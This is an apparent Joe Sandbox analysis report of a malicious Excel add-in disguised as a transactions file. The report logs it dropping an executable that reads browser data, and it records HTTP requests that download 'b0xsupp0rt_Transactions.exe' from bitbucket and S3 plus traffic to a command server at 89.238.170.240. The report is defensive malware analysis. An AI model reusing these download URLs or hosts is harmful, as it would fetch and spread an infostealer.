Edit tour

Windows Analysis Report
2023-07-01-2023-07-15_Transactions.xll

Overview

General Information

Sample Name:	2023-07-01-2023-07-15_Transactions.xll
Analysis ID:	1276694
MD5:	2509e8e36e86727e4c52daf8b9f58cc1
SHA1:	f5c7a7661370b20708c66caadcf332abdfeafdaa
SHA256:	59276586364772885369c250a784459713f94f916019cbcd9b1998cd3b07d053
Tags:	xll
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Document exploit detected (drops PE files)

Document exploit detected (creates forbidden files)

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Office process drops PE file

Found evasive API chain (may stop execution after checking mutex)

Document exploit detected (process start blacklist hit)

Found API chain indicative of sandbox detection

Tries to harvest and steal browser information (history, passwords, etc)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

May sleep (evasive loops) to hinder dynamic analysis

Contains functionality to query CPU information (cpuid)

JA3 SSL client fingerprint seen in connection with other malware

Potential document exploit detected (performs DNS queries)

Contains functionality to record screenshots

HTTP GET or POST without a user agent

Contains functionality which may be used to detect a debugger (GetProcessHeap)

PE file contains executable resources (Code or Archives)

IP address seen in connection with other malware

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Sample file is different than original file name gathered from version info

Potential document exploit detected (unknown TCP traffic)

Drops PE files

Tries to load missing DLLs

Detected TCP or UDP traffic on non-standard ports

Contains functionality to detect sandboxes (mouse cursor move detection)

Uses Microsoft's Enhanced Cryptographic Provider

Potential document exploit detected (performs HTTP gets)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

cmd.exe (PID: 6876 cmdline: cmd /C "C:\Users\user\Desktop\2023-07-01-2023-07-15_Transactions.xll" MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 812 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

EXCEL.EXE (PID: 7128 cmdline: "C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /dde MD5: 5D6638F2C8F8571C593999C58866007E)

GcQGGmjG.exe (PID: 4012 cmdline: C:\Users\user\AppData\Roaming\GcQGGmjG.exe MD5: E0FB0A3E15BDFBA65A792E3E3463DCD5)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 2023-07-01-2023-07-15_Transactions.xll	ReversingLabs: Detection: 18%
Source: 2023-07-01-2023-07-15_Transactions.xll	Virustotal: Detection: 21%			Perma Link

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe

Avira: detection malicious, Label: HEUR/AGEN.1317098

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe	Virustotal: Detection: 78%			Perma Link

Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe

Code function: 3_2_002B1C87 CryptUnprotectData,CryptProtectData,

3_2_002B1C87

Source: 2023-07-01-2023-07-15_Transactions.xll

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 104.192.141.1:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.217.14.20:443 -> 192.168.2.7:49703 version: TLS 1.2

Source:	Binary string: /_/Source/ExcelDna.ManagedHost/obj/Release/net452/ExcelDna.ManagedHost.pdbSHA256m source: 2023-07-01-2023-07-15_Transactions.xll
Source:	Binary string: /_/Source/ExcelDna.ManagedHost/obj/Release/net452/ExcelDna.ManagedHost.pdb source: 2023-07-01-2023-07-15_Transactions.xll
Source:	Binary string: C:\Work\Excel-DNA\ExcelDna\Source\ExcelDna\Release\ExcelDna.pdb source: 2023-07-01-2023-07-15_Transactions.xll

Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe	Code function: 3_2_002B1D2F FindFirstFileW,FindNextFileW,	3_2_002B1D2F
Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe	Code function: 3_2_002B1000 FindFirstFileW,FindNextFileW,EnterCriticalSection,LeaveCriticalSection,	3_2_002B1000
Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe	Code function: 3_2_002B4ABC FindFirstFileW,EnterCriticalSection,LeaveCriticalSection,FindNextFileW,	3_2_002B4ABC
Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe	Code function: 3_2_002B4068 FindFirstFileW,FindNextFileW,	3_2_002B4068
Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe	Code function: 3_2_002B3EAA FindFirstFileW,FindNextFileW,	3_2_002B3EAA

Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Cache\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Code Cache\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Code Cache\js\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\	Jump to behavior

Software Vulnerabilities

Document exploit detected (drops PE files)

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: GcQGGmjG.exe.2.dr

Jump to dropped file

Document exploit detected (creates forbidden files)

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Roaming\GcQGGmjG.exe

Jump to behavior

Document exploit detected (process start blacklist hit)

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Process created: C:\Users\user\AppData\Roaming\GcQGGmjG.exe

Source: global traffic	DNS query: name: bitbucket.org
Source: global traffic	DNS query: name: bbuseruploads.s3.amazonaws.com
Source: global traffic	DNS query: name: bbuseruploads.s3.amazonaws.com

Source: global traffic	TCP traffic: 192.168.2.7:49702 -> 104.192.141.1:443
Source: global traffic	TCP traffic: 104.192.141.1:443 -> 192.168.2.7:49702
Source: global traffic	TCP traffic: 192.168.2.7:49702 -> 104.192.141.1:443
Source: global traffic	TCP traffic: 192.168.2.7:49702 -> 104.192.141.1:443
Source: global traffic	TCP traffic: 104.192.141.1:443 -> 192.168.2.7:49702
Source: global traffic	TCP traffic: 104.192.141.1:443 -> 192.168.2.7:49702
Source: global traffic	TCP traffic: 192.168.2.7:49702 -> 104.192.141.1:443
Source: global traffic	TCP traffic: 192.168.2.7:49702 -> 104.192.141.1:443
Source: global traffic	TCP traffic: 104.192.141.1:443 -> 192.168.2.7:49702
Source: global traffic	TCP traffic: 104.192.141.1:443 -> 192.168.2.7:49702
Source: global traffic	TCP traffic: 192.168.2.7:49702 -> 104.192.141.1:443
Source: global traffic	TCP traffic: 104.192.141.1:443 -> 192.168.2.7:49702
Source: global traffic	TCP traffic: 104.192.141.1:443 -> 192.168.2.7:49702
Source: global traffic	TCP traffic: 104.192.141.1:443 -> 192.168.2.7:49702
Source: global traffic	TCP traffic: 192.168.2.7:49702 -> 104.192.141.1:443
Source: global traffic	TCP traffic: 192.168.2.7:49702 -> 104.192.141.1:443
Source: global traffic	TCP traffic: 192.168.2.7:49702 -> 104.192.141.1:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 104.192.141.1:443
Source: global traffic	TCP traffic: 104.192.141.1:443 -> 192.168.2.7:49704
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 104.192.141.1:443
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 104.192.141.1:443
Source: global traffic	TCP traffic: 104.192.141.1:443 -> 192.168.2.7:49704
Source: global traffic	TCP traffic: 104.192.141.1:443 -> 192.168.2.7:49704
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 104.192.141.1:443
Source: global traffic	TCP traffic: 104.192.141.1:443 -> 192.168.2.7:49704
Source: global traffic	TCP traffic: 104.192.141.1:443 -> 192.168.2.7:49704
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 104.192.141.1:443
Source: global traffic	TCP traffic: 104.192.141.1:443 -> 192.168.2.7:49704
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 104.192.141.1:443
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 104.192.141.1:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 52.217.14.20:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49706 -> 89.238.170.240:2227
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 192.168.2.7:49706 -> 89.238.170.240:2227
Source: global traffic	TCP traffic: 192.168.2.7:49706 -> 89.238.170.240:2227
Source: global traffic	TCP traffic: 192.168.2.7:49706 -> 89.238.170.240:2227
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 192.168.2.7:49706 -> 89.238.170.240:2227
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 192.168.2.7:49706 -> 89.238.170.240:2227
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 192.168.2.7:49706 -> 89.238.170.240:2227
Source: global traffic	TCP traffic: 192.168.2.7:49706 -> 89.238.170.240:2227
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 192.168.2.7:49706 -> 89.238.170.240:2227
Source: global traffic	TCP traffic: 192.168.2.7:49706 -> 89.238.170.240:2227
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 192.168.2.7:49706 -> 89.238.170.240:2227
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 192.168.2.7:49706 -> 89.238.170.240:2227
Source: global traffic	TCP traffic: 192.168.2.7:49706 -> 89.238.170.240:2227
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 192.168.2.7:49706 -> 89.238.170.240:2227
Source: global traffic	TCP traffic: 192.168.2.7:49706 -> 89.238.170.240:2227
Source: global traffic	TCP traffic: 192.168.2.7:49706 -> 89.238.170.240:2227
Source: global traffic	TCP traffic: 192.168.2.7:49706 -> 89.238.170.240:2227
Source: global traffic	TCP traffic: 192.168.2.7:49706 -> 89.238.170.240:2227
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 192.168.2.7:49706 -> 89.238.170.240:2227
Source: global traffic	TCP traffic: 192.168.2.7:49706 -> 89.238.170.240:2227
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 192.168.2.7:49706 -> 89.238.170.240:2227
Source: global traffic	TCP traffic: 192.168.2.7:49706 -> 89.238.170.240:2227
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 192.168.2.7:49706 -> 89.238.170.240:2227
Source: global traffic	TCP traffic: 192.168.2.7:49706 -> 89.238.170.240:2227
Source: global traffic	TCP traffic: 192.168.2.7:49706 -> 89.238.170.240:2227
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 192.168.2.7:49706 -> 89.238.170.240:2227
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 89.238.170.240:2227 -> 192.168.2.7:49706
Source: global traffic	TCP traffic: 192.168.2.7:49706 -> 89.238.170.240:2227

Source: global traffic	TCP traffic: 192.168.2.7:49702 -> 104.192.141.1:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 104.192.141.1:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49702 -> 104.192.141.1:443
Source: global traffic	TCP traffic: 192.168.2.7:49702 -> 104.192.141.1:443
Source: global traffic	TCP traffic: 192.168.2.7:49702 -> 104.192.141.1:443
Source: global traffic	TCP traffic: 192.168.2.7:49702 -> 104.192.141.1:443
Source: global traffic	TCP traffic: 192.168.2.7:49702 -> 104.192.141.1:443
Source: global traffic	TCP traffic: 192.168.2.7:49702 -> 104.192.141.1:443
Source: global traffic	TCP traffic: 192.168.2.7:49702 -> 104.192.141.1:443
Source: global traffic	TCP traffic: 192.168.2.7:49702 -> 104.192.141.1:443
Source: global traffic	TCP traffic: 192.168.2.7:49702 -> 104.192.141.1:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 104.192.141.1:443
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 104.192.141.1:443
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 104.192.141.1:443
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 104.192.141.1:443
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 104.192.141.1:443
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 104.192.141.1:443
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 104.192.141.1:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 52.217.14.20:443

Source: excel.exe

Memory has grown: Private usage: 1MB later: 104MB

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic	HTTP traffic detected: GET /simplecry/test/downloads/b0xsupp0rt_Transactions.exe HTTP/1.1Host: bitbucket.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /25e38aca-ccc9-48c3-8a77-44a6af8af2fb/downloads/2795c53b-98ef-44a6-a372-dd58b884a173/b0xsupp0rt_Transactions.exe?response-content-disposition=attachment%3B%20filename%3D%22b0xsupp0rt_Transactions.exe%22&AWSAccessKeyId=ASIA6KOSE3BNIIEG6UD4&Signature=rTKR3m0FFb0e0hqWK9qjLdvL26c%3D&x-amz-security-token=FwoGZXIvYXdzEC0aDGCnntU5f3AgLskEVCK%2BAcA4G5LXTJXndKoDJmkSX%2Bnh61mDZ5tXE%2FpTzjRJueGnNcz%2FPcKaF4Skrn3ls5xYdkjJrUmQRArxswhjM2%2FcA3gMVlrSFpa%2Fg2kVVXYAVnUskZV1d%2BgZr0s65APmS4TdBR2nP9JTOshVdVHS9Q%2FlNZaCLZ2iKMZG%2Fj54dOfY9e70Xv9sKhePj7d1TzSwSn0LLEEknvfzgjbIgauzojZeXM1e7k8hFFI4g6fktpOIYk5XgVr11UOC8KgqEqWoxDcow7PkpQYyLS7RuvH%2BV%2Fm48jrkTTy0EWUR122UdTuIwvjfAUUB2tvGgYXDKMUPFNyHqEoV4Q%3D%3D&Expires=1689854155 HTTP/1.1Host: bbuseruploads.s3.amazonaws.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /simplecry/test/downloads/sheet_spending.xlsx HTTP/1.1Host: bitbucket.org
Source: global traffic	HTTP traffic detected: GET /25e38aca-ccc9-48c3-8a77-44a6af8af2fb/downloads/c73c855d-7a2d-49de-b44d-255e45097f08/sheet_spending.xlsx?response-content-disposition=attachment%3B%20filename%3D%22sheet_spending.xlsx%22&AWSAccessKeyId=ASIA6KOSE3BNHRP5HY26&Signature=39jeT%2FckAGNesRSUXBWkEdPCx%2F4%3D&x-amz-security-token=FwoGZXIvYXdzEC0aDAqik0tAxwmFDsP2lSK%2BARtV432Ws3%2BNTskJH9I%2BBsTTme0j72FReX5XtlCUDAX2l0u56MLZbcETGMkw7j%2BpxAJQsuzVl%2Ft0eFm%2Ba35Q1ozDKj7aKXkAZzYbdSj0Iw3snSHcQUyE6AQioYL%2FGQfZuM4lPDsjwrhgJ0dwdg9U5OLKbK7GxBlv%2BnvJPhuS04tMwTUar55KLxyCqHa7cCIPnDSG81%2F3FEJ6omI4BF3E5bqdJT0PiP7cpt97ptAfBrmlZ5RvsjLw6A8PN%2FWRIfMox7PkpQYyLUieOgNm8bCr2RhA6RxxrHujAEgmdz8vrHaFUbc0vg13qVDHgW1rT96eXvXobw%3D%3D&Expires=1689854159 HTTP/1.1Host: bbuseruploads.s3.amazonaws.com

Source: Joe Sandbox View	IP Address: 104.192.141.1 104.192.141.1
Source: Joe Sandbox View	IP Address: 104.192.141.1 104.192.141.1

Source: global traffic

TCP traffic: 192.168.2.7:49706 -> 89.238.170.240:2227

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702

Source: unknown	TCP traffic detected without corresponding DNS query: 89.238.170.240
Source: unknown	TCP traffic detected without corresponding DNS query: 89.238.170.240
Source: unknown	TCP traffic detected without corresponding DNS query: 89.238.170.240
Source: unknown	TCP traffic detected without corresponding DNS query: 89.238.170.240
Source: unknown	TCP traffic detected without corresponding DNS query: 89.238.170.240
Source: unknown	TCP traffic detected without corresponding DNS query: 89.238.170.240
Source: unknown	TCP traffic detected without corresponding DNS query: 89.238.170.240
Source: unknown	TCP traffic detected without corresponding DNS query: 89.238.170.240
Source: unknown	TCP traffic detected without corresponding DNS query: 89.238.170.240
Source: unknown	TCP traffic detected without corresponding DNS query: 89.238.170.240
Source: unknown	TCP traffic detected without corresponding DNS query: 89.238.170.240
